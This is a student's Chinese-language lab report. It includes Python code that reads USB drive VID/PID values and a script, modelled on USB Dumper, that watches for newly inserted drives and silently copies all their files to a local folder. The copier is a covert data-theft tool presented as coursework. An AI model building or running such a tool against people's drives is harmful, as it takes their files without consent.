侵删~
获取PID和VID的实验参考了:Python 获取U盘的序列号 - 唐小沫 - 博客园 (cnblogs.com)和使用Python在Windows下获取USB PID&VID 拷贝U盘文件的实验参考了:Python实现识别U盘插入并复制其中数据
获取PID和VID的实验只能在插入一个U盘时停止运行并输出PID和VID,插入多个U盘时就一直输入PID和VID停不下来;拷贝U盘文件的实验只能覆盖文件,不能先对比文件,如果不同再复制。如果有大佬路过,球球教教我(菜鸡只会抄抄改改)~
实验内容1:操作实验
利用USB Dumper实现悄无声息地将U盘的数据拷贝到电脑上。
拷贝之前,U盘上的数据截图:
拷贝到电脑上的数据截图:
实验内容2:编程获取U盘信息(PID、VID)
通过百度搜索了解U盘的PID、VID等信息的意义,编程实现获取U盘中的PID、VID等信息的程序。编程语言不限、界面不限,提交源代码、可执行程序。可以使用工具ChipEasy或操作系统的设备管理器查看U盘的PID、VID等信息,验证自己写的程序是否正确。
编程语言:Python
开发工具:Python3.8 + PyCharm
运行截图:(打包时使用pyinstaller -F GetUSB.py,生成的可执行文件在执行时会自带一个运行窗口,方便查看U盘的PID和VID)
主要代码粘贴在下面(五号字体,不要粘贴全部代码,粘贴核心代码即可,代码不要超过6页):
import psutil
from io import StringIO
import win32com.client
def run():
uf = StringIO()
while True:
disk_list = []
for item in psutil.disk_partitions(): # 获取磁盘信息
# 判断是不是U盘
if "removable" in item.opts:# U盘的opts值为 removable
# 获取U盘的盘符
disk_list.append(item.mountpoint)
# 把盘符写入内存,为了不持续请求
if disk_list != []:
for pf in disk_list:
if pf not in uf.getvalue():
print("U盘插入" + pf)
uf.write(disk_list[0])
wmi = win32com.client.GetObject("winmgmts:")
for usb in wmi.InstancesOf("Win32_USBHub"):
# 旁门左道找到的特征,就是 U盘 对应的 Caption 值是 USB 大容量存储设备,用来判断它是不是U盘
if usb.Caption == "USB 大容量存储设备":
str = usb.DeviceID # 例如我自己U盘是 USB\VID_0930&PID_6545\50E549C20249B240693D900E
out1 = str.split("\\") # 根据 \ 分割,得到一个 list 列表out1 = ['USB', 'VID_0930&PID_6545', '50E549C20249B240693D900E']
out2 = out1[1].split("&") # 拿到list中的第二元素 VID_0930&PID_6545,再根据 & 进行分割,又得到一个list列表out2 = ['VID_0930', 'PID_6545']
out3 = out2[0].split("_") # 再拿到 list列表out2 中的第一个元素 'VID_0930',再根据 _ 进行分割,得到list列表 out3 = ['VID', '0930']
out4 = out2[1].split("_") # 再拿到 list列表out2 中的第二个元素 'PID_6545',再根据 _ 进行分割,得到list列表 out4 = ['PID', '6545']
print(out3[0] + ": " + out3[1])
print(out4[0] + ": " + out4[1])
else:
# 拔出u盘初始化内存
uf = StringIO('hello')
print("U盘拔出")
if __name__ == "__main__":
run()
实验内容3:编程拷贝U盘文件
编程实现类似于USB Dumper的功能,悄无声息地将U盘的文件和文件夹都拷贝到电脑上。编程语言不限、界面不限,提交源代码、可执行程序。
编程语言:Python
开发工具:Python3.8 + PyCharm
主要代码粘贴在下面(五号字体,不要粘贴全部代码,粘贴核心代码即可,代码不要超过6页):
截图:
import os
import time
import psutil
from threading import Thread
targetRoot = 'D:\Desktop\CopyFileRoot' # 目标目录
oldDiskName = [] # 旧的磁盘列表
number = 0 # 磁盘数,判断是否为第一次运行
if os.path.exists(targetRoot) == False:# 判断 D:\Desktop\CopyFileRoot 是否存在,存在返回 True,不存在返回 False
os.makedirs(targetRoot)# 创建 D:\Desktop\CopyFileRoot 文件夹
print(targetRoot + "创建成功")
else:
print(targetRoot + "已存在")
'''
从sourcepath复制文件和目录到targetPath
'''
def copyfile(sourcePath, targetPath, threadName):
for f in os.listdir(sourcePath):
if (f == 'System Volume Information'): # 过滤系统文件夹
continue
f1 = os.path.join(sourcePath, f) # 连接源文件(目录)名
f2 = os.path.join(targetPath, f) # 连接目标文件(目录)名
if os.path.isfile(f1): # 如果为文件,则进行复制操作
file1 = open(f1, 'rb')
file2 = open(f2, 'wb')
print(threadName + '-%s文件正在复制!' % (f1))
file2.write(file1.read())
print(threadName + '-%s文件复制成功!' % (f1))
else: # 如果为目录,创建新一级的目标目录,并递归操作
print(threadName + '-%s目录正在复制!' % (f1))
print(threadName + '-%s目标目录创建成功!' % (f2))
if os.path.exists(f2):
pass
else:
os.mkdir(f2)
copyfile(f1, f2, threadName)
print(threadName + '-%s目录复制成功!' % (f1))
'''
获取磁盘信息,并与上次获取的信息进行比较,判断是否有新的磁盘添加进来
'''
def getDiskMessage():
global oldDiskName # 声明全局变量
global number
if number == 0: # 第一次操作,先获取一遍磁盘数据,然后返回
for disk in psutil.disk_partitions():
number = number + 1
oldDiskName.append(disk.device[:2]) # 获取盘符信息
return
newDiskName = [] # 保存新获取的磁盘信息
for disk in psutil.disk_partitions():
newDiskName.append(disk.device[:2]) # 获取新的磁盘信息
newDiskList = arrayCompare(oldDiskName, newDiskName) # 获取新增盘符列表
oldDiskName.clear() # 清除旧盘符列表
oldDiskName = newDiskName[:] # 复制新盘符列表给旧盘符列表
return newDiskList
'''
比较两个磁盘盘符列表,并返回新盘符列表中旧盘符列表没有的盘符名列表
'''
def arrayCompare(oldDiskName, newDiskName):
newDiskList = []
for name in newDiskName:
if name not in oldDiskName: # 旧盘符中没有,则添加这个到新增盘符列表中
newDiskList.append(name)
return newDiskList
'''
复制盘符name中的文件到目标目录中
'''
def copy(name, threadName):
targetPath = os.path.join(targetRoot, name[:1])
if os.path.exists(targetPath):
pass
else:
os.mkdir(targetPath)
copyfile(name, targetPath, threadName) # 复制文件
print(threadName + '-新磁盘:%s盘 复制成功!' % (name[:1]))
def main():
getDiskMessage() # 获取初始数据
threadCount = 0 # 线程计数
while True:
newDiskList = getDiskMessage() # 获取新数据
print('新磁盘列表:' + str(newDiskList))
for name in newDiskList: # 根据新获取到的数据去复制文件
thread = Thread(target=copy, args=(name, 'thread_' + str(threadCount),)) # 创建线程去复制指定磁盘
thread.start() # 开启线程
print('thread_' + str(threadCount) + '-开始复制%s盘文件...' % (name[:1]))
threadCount = threadCount + 1 # 线程计数+1
time.sleep(2) # 延时两秒进行下一次数据获取
if __name__ == '__main__':
main()
|